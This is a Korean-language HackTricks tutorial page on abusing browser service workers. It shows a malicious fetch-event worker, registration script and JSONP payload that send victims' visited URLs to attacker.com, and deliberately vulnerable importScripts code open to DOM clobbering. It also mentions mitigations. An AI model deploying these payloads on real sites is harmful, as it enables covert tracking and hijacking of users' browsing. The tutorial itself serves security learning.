์„œ๋น„์Šค ์›Œ์ปค ์•…์šฉ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

์„œ๋น„์Šค ์›Œ์ปค๋Š” ์›น ํŽ˜์ด์ง€์™€ ๋ถ„๋ฆฌ๋˜์–ด ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋กœ, ์›น ํŽ˜์ด์ง€๋‚˜ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์ด ํ•„์š”ํ•˜์ง€ ์•Š์€ ๊ธฐ๋Šฅ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜์—ฌ ์˜คํ”„๋ผ์ธ ๋ฐ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ฒ˜๋ฆฌ ๊ธฐ๋Šฅ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ์„œ๋น„์Šค ์›Œ์ปค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ ์›น ๋„๋ฉ”์ธ ๋‚ด์—์„œ ์„œ๋น„์Šค ์›Œ์ปค๋ฅผ ์•…์šฉํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ๋„๋ฉ”์ธ ๋‚ด์˜ ๋ชจ๋“  ํŽ˜์ด์ง€์—์„œ ํ”ผํ•ด์ž์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ์กด ์„œ๋น„์Šค ์›Œ์ปค ํ™•์ธ

๊ธฐ์กด ์„œ๋น„์Šค ์›Œ์ปค๋Š” ๊ฐœ๋ฐœ์ž ๋„๊ตฌ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํƒญ์˜ ์„œ๋น„์Šค ์›Œ์ปค ์„น์…˜์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ chrome://serviceworker-internals๋ฅผ ๋ฐฉ๋ฌธํ•˜์—ฌ ๋” ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

ํ‘ธ์‹œ ์•Œ๋ฆผ

ํ‘ธ์‹œ ์•Œ๋ฆผ ๊ถŒํ•œ์€ ์„œ๋น„์Šค ์›Œ์ปค๊ฐ€ ์‚ฌ์šฉ์ž์™€์˜ ์ง์ ‘์ ์ธ ์ƒํ˜ธ์ž‘์šฉ ์—†์ด ์„œ๋ฒ„์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์— ์ง์ ‘์ ์ธ ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. ๊ถŒํ•œ์ด ๊ฑฐ๋ถ€๋˜๋ฉด ์„œ๋น„์Šค ์›Œ์ปค๊ฐ€ ์ง€์†์ ์ธ ์œ„ํ˜‘์„ ๊ฐ€ํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋Œ€๋กœ, ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋ฉด ์ž ์žฌ์ ์ธ ์•…์šฉ์„ ์ˆ˜์‹ ํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์–ด ๋ณด์•ˆ ์œ„ํ—˜์ด ์ฆ๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

์„œ๋น„์Šค ์›Œ์ปค ์ƒ์„ฑ ๊ณต๊ฒฉ

์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • ์„œ๋ฒ„์— ์ž„์˜์˜ JS ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•๊ณผ ์—…๋กœ๋“œ๋œ JS ํŒŒ์ผ์˜ ์„œ๋น„์Šค ์›Œ์ปค๋ฅผ ๋กœ๋“œํ•  XSS
  • ์ถœ๋ ฅ์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝํ•œ JSONP ์š”์ฒญ(์ž„์˜์˜ JS ์ฝ”๋“œ๋กœ)๊ณผ ํŽ˜์ด๋กœ๋“œ๋กœ JSONP๋ฅผ ๋กœ๋“œํ•  XSS๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด ํŽ˜์ด๋กœ๋“œ๋Š” ์•…์„ฑ ์„œ๋น„์Šค ์›Œ์ปค๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ์˜ˆ์ œ์—์„œ๋Š” fetch ์ด๋ฒคํŠธ๋ฅผ ์ˆ˜์‹ ํ•˜๊ณ  ๊ฐ ๊ฐ€์ ธ์˜จ URL์„ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ์ „์†กํ•˜๋Š” ์ƒˆ๋กœ์šด ์„œ๋น„์Šค ์›Œ์ปค๋ฅผ ๋“ฑ๋กํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์ œ์‹œํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค(์ด ์ฝ”๋“œ๋Š” ์„œ๋ฒ„์— ์—…๋กœ๋“œํ•˜๊ฑฐ๋‚˜ ์ทจ์•ฝํ•œ JSONP ์‘๋‹ต์„ ํ†ตํ•ด ๋กœ๋“œํ•ด์•ผ ํ•˜๋Š” ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

์ด๊ฒƒ์€ ์›Œ์ปค๋ฅผ ๋“ฑ๋กํ•˜๋Š” ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค (๋‹น์‹ ์ด XSS๋ฅผ ์•…์šฉํ•˜์—ฌ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•˜๋Š” ์ฝ”๋“œ). ์ด ๊ฒฝ์šฐ GET ์š”์ฒญ์ด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์ „์†ก๋˜์–ด ์„œ๋น„์Šค ์›Œ์ปค์˜ ๋“ฑ๋ก์ด ์„ฑ๊ณตํ–ˆ๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์•Œ๋ฆฝ๋‹ˆ๋‹ค:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

์ทจ์•ฝํ•œ JSONP ์—”๋“œํฌ์ธํŠธ๋ฅผ ์•…์šฉํ•  ๊ฒฝ์šฐ var sw ์•ˆ์— ๊ฐ’์„ ๋„ฃ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"

์ „์šฉ C2๊ฐ€ Service Workers์˜ ์•…์šฉ์„ ์œ„ํ•ด Shadow Workers๋ผ๋Š” ์ด๋ฆ„์œผ๋กœ ์กด์žฌํ•˜๋ฉฐ, ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

24์‹œ๊ฐ„ ์บ์‹œ ์ง€์‹œ์–ด๋Š” ์•…์˜์ ์ด๊ฑฐ๋‚˜ ์†์ƒ๋œ **service worker (SW)**์˜ ์ˆ˜๋ช…์„ XSS ์ทจ์•ฝ์  ์ˆ˜์ • ํ›„ ์ตœ๋Œ€ 24์‹œ๊ฐ„์œผ๋กœ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. ์˜จ๋ผ์ธ ํด๋ผ์ด์–ธํŠธ ์ƒํƒœ๋ฅผ ๊ฐ€์ •ํ•  ๋•Œ, ์ทจ์•ฝ์„ฑ์„ ์ตœ์†Œํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์ดํŠธ ์šด์˜์ž๋Š” SW ์Šคํฌ๋ฆฝํŠธ์˜ Time-To-Live (TTL)๋ฅผ ๋‚ฎ์ถœ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž๋“ค์€ ๋˜ํ•œ ์‹ ์†ํ•œ ๋น„ํ™œ์„ฑํ™”๋ฅผ ์œ„ํ•œ service worker kill-switch๋ฅผ ๋งŒ๋“ค๋„๋ก ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

DOM Clobbering์„ ํ†ตํ•œ SW์—์„œ importScripts ์•…์šฉ

Service Worker์—์„œ ํ˜ธ์ถœ๋œ importScripts ํ•จ์ˆ˜๋Š” ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ˜ธ์ถœ๋˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์˜ ๋„๋ฉ”์ธ์—์„œ JS ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์œผ๋ฉฐ XSS๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๊ฒƒ์€ CSP ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ ์ทจ์•ฝํ•œ ์ฝ”๋“œ:

  • index.html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker

DOM ํด๋กœ๋ฒ„๋ง์„ ์ด์šฉํ•œ

DOM ํด๋กœ๋ฒ„๋ง์ด ๋ฌด์—‡์ธ์ง€์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

Dom Clobbering

SW๊ฐ€ **importScripts**๋ฅผ ํ˜ธ์ถœํ•˜๋Š” URL/๋„๋ฉ”์ธ์ด HTML ์š”์†Œ ๋‚ด๋ถ€์— ์žˆ์„ ๊ฒฝ์šฐ, **DOM ํด๋กœ๋ฒ„๋ง์„ ํ†ตํ•ด ์ด๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ SW๊ฐ€ ์ž์‹ ์˜ ๋„๋ฉ”์ธ์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์™€ ๊ด€๋ จ๋œ ์˜ˆ์‹œ๋Š” ์ฐธ์กฐ ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ